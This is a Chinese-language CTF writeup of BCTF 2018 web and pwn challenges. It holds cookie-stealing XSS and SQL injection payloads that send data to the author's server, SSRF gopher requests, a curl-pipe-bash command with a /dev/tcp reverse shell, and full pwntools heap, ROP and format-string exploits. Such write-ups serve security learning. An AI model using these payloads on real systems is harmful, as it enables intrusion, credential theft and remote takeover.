大家好,我们 r3kapig 的小伙伴在这周玩了 BCTF 2018. 以下是我们的解题 Writeup ,请各位大佬指教。

BCTF 2018 online Writeup

Web

SEAFARING1

login处有个XSS,不过需要验证码,然后扫了一下站,发现robots.txt,里面有一个/admin/handle_message.php,进去提示:

{"result":"","error":"CSRFToken ''is not correct"}

注意到这里有个'',猜测传入的csrftoken可能直接输出到了页面中,于是尝试传入csrftoken,分别用GET、POST都试了,然后试出当参数名为token,请求为POST的时候会显示出token值,不过对'/'会进行转义,因此使用svg进行xss,为了避免引号的问题,使用了base64编码,打管理员cookie的XSS payload如下:

<form method="post" action="http://seafaring.xctf.org.cn:9999/admin/handle_message.php">
<input name="token" value="<svg onload=document.write(atob('PHNjcmlwdD4KbG9jYXRpb249Imh0dHA6Ly96em0uY2F0OjgwODAvP2M9Iitlc2NhcGUoZG9jdW1lbnQuY29va2llKTsKPC9zY3JpcHQ+'))>">
</form>
<script>
document.forms[0].submit();
</script>

其中base64的内容为:

<script>
location="http://zzm.cat:8080/?c="+escape(document.cookie);
</script>

把payload写在自己的VPS的1.html上,然后在contact.php向管理员发送地址http://zzm.cat/1.html即可,打到cookie后进入http://seafaring.xctf.org.cn:9999/admin/,前端源码发现了一些api调用,可以获取admin接收到的消息

function view_unreads() {
    $.ajax({
        type: "POST",
        url: "/admin/handle_message.php",
        data: {"token": csrf_token, "action": "view_unreads", "status": 0},
        dataType: "json",
        success: function (data) {
            if (!data["error"]) {
                data = data['result'];
                var html = '';
                var tbody = document.getElementById("comments");
                for (var i = 0; i < data.length; i++) {
                    var Time = data[i][0];
                    var Username = data[i][1];
                    var Uid = data[i][2];
                    var Status = '';
                    if (parseInt(data[i][3]) == 1) {
                        Status = '<div style="color:#04FF00">Checked</div>';
                    } else {
                        Status = '<div style="color:#FFA500">Not Checked</div>';
                    }
                    html += "<tr> <td > <center> " + Time + " </center></td> <td> <center> " + Username + " </center></td> <td> <center> <a onclick = view_uid('" + Uid + "') > " + Uid + " </a></center> </td> <td> <center> " + Status + " </center></td> </tr>"
                }
                tbody.innerHTML = html;
            }
            else
                alert('Error: ' + data["error"]);
        }
    });
}

尝试自己构造请求,不过提示要本地访问才行,因此需要XSS,让本地的admin去获取消息。流程就是先获取csrftoken,然后发送post请求到/admin/handle_message.php。这里我尝试的时候,少发了个status参数,结果发现响应中报了一个sql查询的错误,并且把查询语句显示出来了,因此感觉status可以注入,各种查表发现f111111ag表,最终打到flag,exp和flag截图如下:

<form method="post" action="http://seafaring.xctf.org.cn:9999/admin/handle_message.php">
<input name="token" value="<svg onload=document.write(atob('PHNjcmlwdD4KdmFyIGFhID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CmFhLm9wZW4oJ0dFVCcsICdodHRwOi8vc2VhZmFyaW5nLnhjdGYub3JnLmNuOjk5OTkvY29udGFjdC5waHAnLCBmYWxzZSk7CmFhLnNlbmQoKTsKYmIgPSBhYS5yZXNwb25zZVRleHQ7CnRva2VuID0gYmIubWF0Y2goL2NzcmZfdG9rZW4gPSAiKFx3KykiLylbMV07Cgp2YXIgYSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwphLm9wZW4oJ1BPU1QnLCAnaHR0cDovL3NlYWZhcmluZy54Y3RmLm9yZy5jbjo5OTk5L2FkbWluL2hhbmRsZV9tZXNzYWdlLnBocCcsIGZhbHNlKTsKYS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKYS5zZW5kKCJ0b2tlbj0iK3Rva2VuKyImYWN0aW9uPXZpZXdfdW5yZWFkcyZzdGF0dXM9LTEgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCAqIGZyb20gZjExMTExMWFnKSwzLDQjIik7CmIgPSBhLnJlc3BvbnNlVGV4dDsKbG9jYXRpb24uaHJlZiA9ICdodHRwOi8venptLmNhdDo4MDgwLzQwNC5waHA/dG9rZW49Jyt0b2tlbisnJmNvbnRlbnQ9JyArIGVzY2FwZShiKTsKPC9zY3JpcHQ+'))>">
</form>
<script>
document.forms[0].submit();
</script>
<!-- base64内容如下:
<script>
var aa = new XMLHttpRequest();
aa.open('GET', 'http://seafaring.xctf.org.cn:9999/contact.php', false);
aa.send();
bb = aa.responseText;
token = bb.match(/csrf_token = "(\w+)"/)[1];

var a = new XMLHttpRequest();
a.open('POST', 'http://seafaring.xctf.org.cn:9999/admin/handle_message.php', false);
a.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
a.send("token="+token+"&action=view_unreads&status=-1 union select 1,(select * from f111111ag),3,4#");
b = a.responseText;
location.href = 'http://zzm.cat:8080/404.php?token='+token+'&content=' + escape(b);
</script> -->

bctf{XsS_SQL1_7438x_2xfccmk}

SEAFARING2

进admin后有个提示:

Hint: I will tell you a secret path for web2:/admin/m0st_Secret.php! :)

不过访问没啥东西,于是使用sql注入读取这个文件,就在默认目录/var/www/html/admin/m0st_Secret.php,有个ssrf,参数是You_cann0t_guu3s_1t_1s2xs,翻了一下/etc/hosts,得到内网地址是172.20.0.3,感觉要内网搞,用dict协议扫了一下,发现172.20.0.2的4444端口开着,搜了一下相关服务,结合访问主页显示的selemium,应该是selenium grid服务,搜了一下有篇文章( http://www.polaris-lab.com/index.php/archives/454/ ),未授权访问可以读文件。不过需要一个可用的session,题目环境中的都不能用,需要新建一个,查了一下相关Api( https://github.com/SeleniumHQ/selenium/wiki/JsonWireProtocol ),然后shodan上面搜了个有洞的站测试抓包,就可以用gopher协议构造出创建session、访问指定url、截屏的请求包了。

# 新建session
curl -d You_cann0t_guu3s_1t_1s2xs="gopher%3A//127.0.0.1%3A4444/_POST%2520/wd/hub/session%2520HTTP/1.1%250aHost%3A127.0.0.1%3A4444%250aAccept%3A*/*%250aContent-Length%3A49%250aContent-Type%3Aapplication/json;charset=utf-8%250a%250a{%22desiredCapabilities%22:{%22browserName%22:%22firefox%22}}00000000000" http://127.0.0.1:8080

# 请求指定url
curl -d You_cann0t_guu3s_1t_1s2xs="gopher://172.20.0.2:4444/_POST%2520/wd/hub/session/1e23de5c-6e5e-428b-9714-fa71b9ff8f06/url%2520HTTP/1.1%250aHost%3A172.20.0.2%3A4444%250aAccept%3A*/*%250aContent-Length%3A119%250aContent-Type%3Aapplication/json;charset=utf-8%250a%250a%7B%22url%22%3A%22file%3A///etc/passwd%253Fwdsid%3D1e23de5c-6e5e-428b-9714-fa71b9ff8f06%26wdurl%3Dhttp%253A%252F%252F172.20.0.2%253A4444%252Fwd%252Fhub%22%7D00000000000" http://seafaring.xctf.org.cn:9999/admin/m0st_Secret.php

由于这个服务器的server有问题,正常发包会卡死,瞎比试后发现后面多添一堆0就不会卡死了。截屏的话只要访问/wd/hub/session/:sessionId/screenshot就可以了,返回的是json格式的串,里面有图片的base64编码。解析出来存入png即可得到截图。
列目录的截图:

读flag的截图:

babyweb

进去之后功能很少,search的时候有个sort参数,多次尝试,有迷之过滤,但是发现sort=current_database()的时候结果正常,然后sort=abc()的时候404,猜测是Postgresql,于是进一步使用其它函数进行测试,发现sort=pg_ls_dir('/proc')的时候会返回很多结果,sort=pg_ls_dir('/proca')这样就404了,因此可以配合concat和substring进行盲注,例如sort=pg_ls_dir(concat('/proc',substring('a',1,ascii(substring('a',1,1))-97)))这样会返回结果,但是97换成别的就会404,注出密码的payload如下:

import requests

dic = list("abcdefghijklmnopqrstuvwxyz0123456789_!;~.")
ans = ''
for pos in range(1,50):
    for c in dic:
        c = ord(c)
        data = {'search':'admin','sort':"pg_ls_dir(concat('/proc',substring('a',1,ascii(substring(password,%d,1))-%d))),id" % (pos,c)}
        #print(data)
        resp = requests.post("http://47.95.235.14:9999/search",data=data).text
        if len(resp)>10000:
            ans += chr(c)
            print(ans)
            break

上cmd5解码,得到密码15676543456
登进去发现有个RESTFULAPI接口,结合控制台提示restful api provided by fastjson.,猜测是fastjson的漏洞,网上找了exp打了就行了,不过Runtime.getRuntime().exec()有的符号不能用(例如|和>),找了个在线转化payload的网站。具体执行的命令为

curl zzm.cat:8080/1.txt|bash

其中1.txt为:

/bin/bash  -i > /dev/tcp/45.78.39.29/7777 0<&1 2>&1

转化后为

bash -c {echo,Y3VybCB6em0uY2F0OjgwODAvMS50eHR8YmFzaA==}|{base64,-d}|{bash,-i}

然后编译下面的java文件,然后将class文件base64编码

最后构造json请求并发送即可反弹shell

在根目录下找到flag:

SimpleVN

有个pug模板注入不过只能字母数字和点,但是process对象的东西都能读,然后读源码发现有个process.env.FLAGFILENAME,可以直接用process.env.FLAGFILENAME读取,读到flag位置为5E192BCA-1C3F-4CE8-933C-D8B880D72EAD.txt,从源码可知读取这个文件需要本地才行,于是发请求给bot截屏:

提示flag在底部,显示不出来,因此需要一个XSS截取5E192BCA-1C3F-4CE8-933C-D8B880D72EAD.txt底部的内容,并且截屏。
在提交url截屏的时候有个host的过滤,不过可以用data协议进行绕过,使得host为空串,includes为真,并且可以直接插入标签进行XSS,payload如下:

data:text/html,<iframe style='position:absolute;left:0;top:-1500px;background:white;' width=100% height=10000 src=http://47.95.221.26:23333/5E192BCA-1C3F-4CE8-933C-D8B880D72EAD.txt></iframe>

最后获取flag截屏:

checkin

思路就是CVE-2018-18925的思路,session存在文件中且sessionid没有对../做过滤,导致可以在头像上传处上传伪造的session文件,再用sessionid包含即可伪造身份为admin。扫目录可以扫到/admin_panel,session伪造成admin之后访问这个页面即可的得到flag。session文件生成的exp(直接改的CVE-2018-18925的exp):

package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{}{"username": "admin", "UID": uid}
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    err = ioutil.WriteFile("test2.png", data, 0777)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

babySQLiSPA

注册用户名限定了[a-zA-Z0-9],显然没法注入,于是好好看了看网页源码,发现是用webpack打包的。用过的都知道webpack打包后会生成.map文件,于是访问main.dfa730c5.js.map,在其中可以发现两个没有用到的api:

searchHints中用到的captcha就是从getCaptcha中得到的,于是:

显然可以注入,且能报错。于是经过漫长的fuzz(验证码爆破六位MD5真的很恶心,测一条payload就要等几分钟,而且测了两小时到快做出来的时候放hint把waf给了,后面的人不用再测了...难受)发现报错函数GTID_SUBTRACT可以用,于是就:

这里发现都是些乱码表名,而且很长,想看它们的列名时发现列名也类似,最后查数据时发现注入的hint有长度限制,光是SELECT(列名)FROM(表名)就已经超限了,所以猜测flag可能不在这几个表里。本地测试的时候发现GTID_SUBTRACT的报错信息有长度限制,于是猜测真正放flag的表可能排在后面没有显示出来,于是引入REVERSE函数倒序查看后面的表名:

这里出来的EEeReHSSsIIiIggaaAAaLlLlFfFEhv倒过来就是vhEFfFlLlLaAAaaggIiIIsSSHeReEE,能看出来应该是flag表了,所以最后:

Pwn

three

三次 chunk ,tcache 的利用,通过改stdout leak libc

add(io, "0\n")
    add(io, "1\n")

    delete(io, 0, "y")
    delete(io, 1, "n")

    #libc_base, proc_base, heap_base = get_pie_addr()

    #print "libc_base:", hex(libc_base&0xffffff)
    #print "heap_base:", hex(heap_base&0xffff)
    heap_base = 0x8000
    libc_base = 0xda7000

    edit(io, 1, p64(heap_base + 0x60)[:2])

    add(io, "0\n")
    add(io, p64(0) + p64(heap_base + 0x10)[:2]) #2
    delete(io, 0, "y\n")
    edit(io, 2, p64(0) + p64(heap_base + 0x10)[:2])

    add(io, p64(0) + p64(0x51))
    delete(io, 0, "y\n")
    delete(io, 1, "y\n")
    edit(io, 2, p64(0) + p64(heap_base + 0x20)[:2])
    add(io, p64(0)*7 + p64(0x201))
    delete(io, 0, "y\n")
    edit(io, 2, p64(0) + p64(heap_base + 0x60)[:2])
    #add(io, p64(0))
    #gdb_attach(io, [])
    malloc_hook = 0x3ebc30
    unsortbin = 0x3ebca0
    stdout_addr = 0x3ec760

    for i in range(8):
        delete(io, 2, "n\n")
    edit(io, 2, p64(0) + p64(stdout_addr + libc_base)[:2])
    payload = ""
    payload += p64(0x00000000fbad1800) + p64(0)*3 + p8(0)
    add(io, payload)
    #delete(io, 0, "n\n")
    #gdb_attach(io, [])
    recv(io, 8)
    data = recv(io, 8)
    print data
    libc_addr = d2v_x64(data)
    print "libc_addr:", hex(libc_addr)
    libc_base = libc_addr - 0x3ed8b0
    print "libc_base:", hex(libc_base)

    free_hook  = libc_base + 0x3ed8e8
    system_addr = libc_base + 0x4f440

    edit(io, 2, p64(0) + p64(free_hook - 8))
    #payload = p64(0)*7 + p64(free_hook - 8)
    #edit(io, 1, payload)
    #gdb_attach(io, [])
    add(io, "/bin/sh\x00" + p64(system_addr))

    #gdb_attach(io, [])
    m_c(io, 3)
    s_i(io, 1)
    io.interactive()
    exit(0)

while True:
    try:
        io = get_io(target)
        pwn(io)
    except Exception as e:
        io.close()

SOS

主要代码:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rax
  char cpp_string; // [rsp+10h] [rbp-40h]
  int size; // [rsp+3Ch] [rbp-14h]

  setbuf(stdout, 0LL);
  puts("Welcome to String On the Stack!");
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&cpp_string);
  puts("Give me the string size: ");
  scanf("%d", &size);
  if ( size < 0 || size > 256 )
  {
    puts("Invalid size!");
    exit(-1);
  }
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::resize(&cpp_string, size);
  puts("Alright, input your SOS code: ");
  v3 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&cpp_string);
  read_str(v3);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&cpp_string);
  return 0LL;
}

乍一看似乎没啥问题,但是似乎输入size,没什么卵用啊!在输入的时候size并没有传入进去。
具体看看read_str函数:

ssize_t __fastcall read_str(char *s)
{
  ssize_t result; // rax
  char *buf; // [rsp+8h] [rbp-18h]

  buf = s;
  while ( 1 )
  {
    result = read(0, buf, 1uLL);
    if ( !(_DWORD)result )
      break;
    if ( (_DWORD)result == -1 )
    {
      if ( *__errno_location() != 11 )
      {
        result = (unsigned int)*__errno_location();
        if ( (_DWORD)result != 4 )
          return result;
      }
    }
    else
    {
      ++buf;
    }
  }
  return result;
}

读到read返回0或者read失败(返回-1)结束,否则继续。所以这个地方溢出是肯定的了,因为这个地方完全没有处理size的问题,所以输入个0作为size,就可以触发栈溢出了。题目也没有canary,似乎这样很完美嘛。

但是马上问题就来了,这个地方如果要断开,一个方法是使用p.shutdown,但是这样的话,read返回0,之后也无法再进行read了,那么libc的地址拿不到啊,即使拿到了也无法继续影响整个程序流程了,所以这样比较麻烦,好在根据我们刚才看到的,read退出有两种情况,一个是返回0,也就是由于EOF(也就是需要shutdown),另外一种呢?当返回-1的时候也是return,所以可以利用这个。read是一个系统调用,当系统调用的目标位置不可写的时候,就会返回-1了,所以可以利用这种方法来达到退出这个函数的目的,之后就比较常规了,puts一下libc地址,然后返回函数开始,然后再来一次就可以正常rop了。

#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2018 anciety <anciety@anciety-pc>
#
# Distributed under terms of the MIT license.
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['lxterminal', '-e']

# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive

if len(sys.argv) > 2:
    DEBUG = 0
    HOST = sys.argv[1]
    PORT = int(sys.argv[2])

    p = remote(HOST, PORT)
else:
    DEBUG = 1
    if len(sys.argv) == 2:
        PATH = sys.argv[1]

    p = process(PATH)

libc = ELF('./libc-2.27.so')
def main():
    # Your exploit script goes here
    pop_rdi_ret = 0x0000000000400c53 # pop rdi ; ret
    pop_rsi_r15_ret = 0x0000000000400c51 # pop rsi ; pop r15 ; ret
    p.ru('size:')
    p.sl(str(0))
    p.ru('code:')
    payload = cyclic(56)
    payload += p64(pop_rdi_ret)
    payload += p64(0x602020)
    payload += p64(0x4008e0)
    payload += p64(0x400afc)

    #gdb.attach(p, 'b *0x400be3')
    p.s(payload)
    while True:
        libc_addr = p.rl(timeout=1).strip()
        p.info('receiving..')
        if len(libc_addr) > 4:
            break
        p.s('0' * 0x1000)
    libc_addr = u64(libc_addr.ljust(8, '\x00'))
    libc_base = libc_addr - libc.symbols['puts']
    p.info('libc_base: 0x%x' % libc_base)
    p.ru('size:')
    p.sl(str(0))
    p.ru('code: ')
    payload = 'a' * 56
    payload += p64(libc_base + 0x4f322)
    p.sl(payload)
    for i in range(3):
        recved = p.rl(timeout=1)
        p.info('sending..')
        if len(recved) > 4:
            break
        p.s('ls;' + '\x00' * 0x1000)

    p.irt()

if __name__ == '__main__':
    main()

hard_core fmt

这个题确实比较神奇,根据文档瞎搞搞出来的。
题目主要代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // r8
  __int64 v5; // r9
  int vars0; // [rsp+0h] [rbp+0h]
  __int16 vars4; // [rsp+4h] [rbp+4h]
  __int64 anonymous0; // [rsp+8h] [rbp+8h]
  char vars10; // [rsp+10h] [rbp+10h]
  __int64 anonymous1; // [rsp+18h] [rbp+18h]
  __int64 anonymous2; // [rsp+20h] [rbp+20h]
  __int64 anonymous3; // [rsp+28h] [rbp+28h]
  __int64 anonymous4; // [rsp+30h] [rbp+30h]
  __int64 anonymous5; // [rsp+38h] [rbp+38h]
  __int64 anonymous6; // [rsp+40h] [rbp+40h]
  __int64 anonymous7; // [rsp+48h] [rbp+48h]
  unsigned __int64 vars118; // [rsp+118h] [rbp+118h]

  vars118 = __readfsqword(0x28u);
  init();
  puts("Welcome to hard-core fmt");
  vars4 = 0;
  memset(&vars10, 0, 0x100uLL);
  vars0 = 0;
  my_read(&vars0, 11);
  __printf_chk(1LL, (__int64)&vars0, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL);
  puts("");
  v3 = get_num();
  __printf_chk(
    1LL,
    (__int64)"%p: %s",
    v3,
    v3,
    v4,
    v5,
    *(__int64 *)&vars0,
    anonymous0,
    *(__int64 *)&vars10,
    anonymous1,
    anonymous2,
    anonymous3,
    anonymous4,
    anonymous5,
    anonymous6,
    anonymous7);
  gets(&vars10);
  return 0;
}

一共有14个-1,但是输入只有11个,正常的格式化字符串漏洞,加上有fortify保护,是泄露不出来任何东西的。题目的保护情况是保护全开,所以也有PIE,那么之后的任意地址泄露就用不上,因为一个地址都还不知道。

然后开始瞎搞,翻printf文档看看有没有什么神奇的specifier,比较冷门的那种,之后就找到了这个:

a, A   (C99; not in SUSv2, but added in SUSv3) For a conversion, the double argument
              is converted to hexadecimal notation (using the letters abcdef) in the  style
              [-]0xh.hhhhp±;  for  A  conversion the prefix 0X, the letters ABCDEF, and the
              exponent separator P is used.  There is one hexadecimal digit before the dec‐
              imal point, and the number of digits after it is equal to the precision.  The
              default precision suffices for an exact representation of  the  value  if  an
              exact  representation in base 2 exists and otherwise is sufficiently large to
              distinguish values of type double.  The digit before  the  decimal  point  is
              unspecified  for nonnormalized numbers, and nonzero but otherwise unspecified
              for normalized numbers.

其实我也没看懂他啥意思,然后尝试了一下,发现出来了两个地址。。

Welcome to hard-core fmt
%a%a%a%a%a
0x0p+00x0.0000000000001p-10220x0.07ffff7ffe1p-10220x0.07ffff7fed5p-10220x0.0000000000d68p-1022
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555554000     0x555555555000 r-xp     1000 0      /pwn/hardcore_fmt
    0x555555755000     0x555555756000 r--p     1000 1000   /pwn/hardcore_fmt
    0x555555756000     0x555555757000 rw-p     1000 2000   /pwn/hardcore_fmt
    0x7ffff79e4000     0x7ffff7bcb000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7bcb000     0x7ffff7dcb000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcb000     0x7ffff7dcf000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcf000     0x7ffff7dd1000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dd1000     0x7ffff7dd5000 rw-p     4000 0      
    0x7ffff7dd5000     0x7ffff7dfc000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7fec000     0x7ffff7fee000 rw-p     2000 0      
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 27000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 28000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

所以这两个地址分别在ld前后,但是至少是出来地址了。这个时候发现有一个地址还位于libc之后,根据以前的经验,这个位置一般是TLS的,也就是canary的保存地址,那么思路就出来了,通过一个地址去拿到TLS的地址,再根据这个地址,得到canary的地址,然后通过后面的任意地址泄露去把canary泄露出来,最后的栈溢出才能派上用场。这个时候其实还需要libc的地址,但是libc基地址和TLS的基地址的offset根据以前的经验,是不太一样的(各个内核不一样,但是相同内核好像不变),反正不是有任意地址泄露么?通过任意地址泄露去爆破一下,直到出现ELF头(libc的elf头),这样就得到偏移量,最后事情就简单了。

#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2018 anciety <anciety@anciety-pc>
#
# Distributed under terms of the MIT license.
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['lxterminal', '-e']

# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive

if len(sys.argv) > 2:
    DEBUG = 0
    HOST = sys.argv[1]
    PORT = int(sys.argv[2])

    p = remote(HOST, PORT)
else:
    DEBUG = 1
    if len(sys.argv) == 2:
        PATH = sys.argv[1]

    p = process(PATH)

libc = ELF('./libc-2.27.so')

def main():
    # Your exploit script goes here
    p.ru('fmt\n')
    p.sl('%a%a%a%a%a')
    p.ru('1p-10220x0.07')
    p.ru('1p-10220x0.0')
    tls_addr = int(p.ru('p-1')[:-3] + '00', 16)
    p.info('tls addr 0x%x' % tls_addr)
    p.sl(str(tls_addr + 0x29))
    p.ru(': ')
    canary = p.r(15)
    #gdb.attach(p)
    if DEBUG:
        libc_addr = tls_addr - 0x500 - 0x60e000
    else:
        libc_addr = tls_addr - 0x500 - 0x60e000 - 0x9000
    payload = 'a' * 0x100 + 'b' * 8 + '\x00' + canary
    payload += 'x' * 16
    payload += p64(libc_addr + 0x4f2c5)
    p.sl(payload)

    p.irt()

def get_libc_offset(p, offset):
    p.ru('fmt\n')
    p.sl('%a%a%a%a%a')
    p.ru('1p-10220x0.07')
    p.ru('1p-10220x0.0')
    tls_addr = int(p.ru('p-1')[:-3] + '00', 16)
    p.info('tls addr 0x%x' % tls_addr)
    libc_addr = tls_addr - 0x500 - 0x60e000 + offset
    p.rl()
    #gdb.attach(p)
    p.sl(str(libc_addr))
    p.ru(': ')
    magic = p.r(4)
    p.info(magic)
    if magic == '\x7fELF':
        return True
    else:
        return False

def brute_force():
    for i in range(-0x9000, -0x8000, 0x1000):
        with remote(sys.argv[1], sys.argv[2]) as p:
            try:
                p.info('offset: %x' % i)
                if get_libc_offset(p, i):
                    break
            except Exception as e:
                p.info(e)
                continue

if __name__ == '__main__':
    main()

easiest

bug还行,比较明显,delete没有清空,造成double free,没有edit所以不能直接UAF。

题目好像没有给libc,不过赌了一把libc是2.23(因为看题目名字好像是atum出的,他曾经暴露过他用的ubuntu 16.04 [奸笑],好吧我承认,主要是因为别的我就不会做了,所以就试试呗)

然后就是找fastbin attack能打的地方,因为没办法leak libc,所以老方法(什么malloc hook,free hook就别想了)。

在已知地址范围内(bin里),能打的地方并不多,其中一个就是GOT表之后的data,里边有stdin和stdout的内容(这两个地址差0x10,也就是至少有一个0x8的空白,能够用来当fastbin attack的目标,这也是为什么GOT不能直接打,因为不存在这样的条件,满足不了size),所以可以改stdin或者stdout的指针(stdin也可以改,因为前面got的地址可以用来当size,足够控制到stdin)。

最开始尝试改stdin,然后发现,因为是fread一个字节一个字节读的,在读的过程当中,stdin就已经变成无效地址了,所以不能改stdin,那就只剩stdout了,那就改stdout然后构造一下结构体即可。构造的过程稍微有一点tricky,需要跟到函数里面去看哪些地址被用到了(我记得有0x88, 0xd8和还有一个不记得的偏移有意义,需要分别满足指向为0之类的条件,0xd8是vtable偏移,就比较好办),最后就调vtable就好了。

#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2018 anciety <anciety@anciety-pc>
#
# Distributed under terms of the MIT license.
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['lxterminal', '-e']

# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive

if len(sys.argv) > 2:
    DEBUG = 0
    HOST = sys.argv[1]
    PORT = int(sys.argv[2])

    p = remote(HOST, PORT)
else:
    DEBUG = 1
    if len(sys.argv) == 2:
        PATH = sys.argv[1]

    p = process(PATH)

def add(idx, size, content):
    p.ru('delete \n')
    p.sl('1')
    p.ru('(0-11):')
    p.sl(str(idx))
    p.ru('Length:')
    p.sl(str(size))
    p.ru('C:')
    p.sl(content)


def delete(idx):
    p.ru('delete \n')
    p.sl('2')
    p.ru('(0-11):')
    p.sl(str(idx))


def main():
    # Your exploit script goes here

    add(10, 0x110, p64(0x400946) * (0x100 // 0x8))
    add(0, 0x31, 'a')
    add(1, 0x31, 'b')
    delete(0)
    delete(1)
    delete(0)

    add(0, 0x31, p64(0x602082 - 8))
    add(1, 0x31, 'neo is god')
    add(1, 0x31, p64(0))
    #gdb.attach(p, 'b vfprintf')
    add(11, 0x31, 'a' * 6 + '\x00' * 0x10 + p64(0x6020c0 - 0x88))
    p.sl('1')

    p.irt()

if __name__ == '__main__':
    main()

houseofatum

three 利用的进一步,这次只有两个chunk可以用。

int alloc()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 1 && notes[i]; ++i )
    ;
  if (

       
       
       

    

Hacking more

...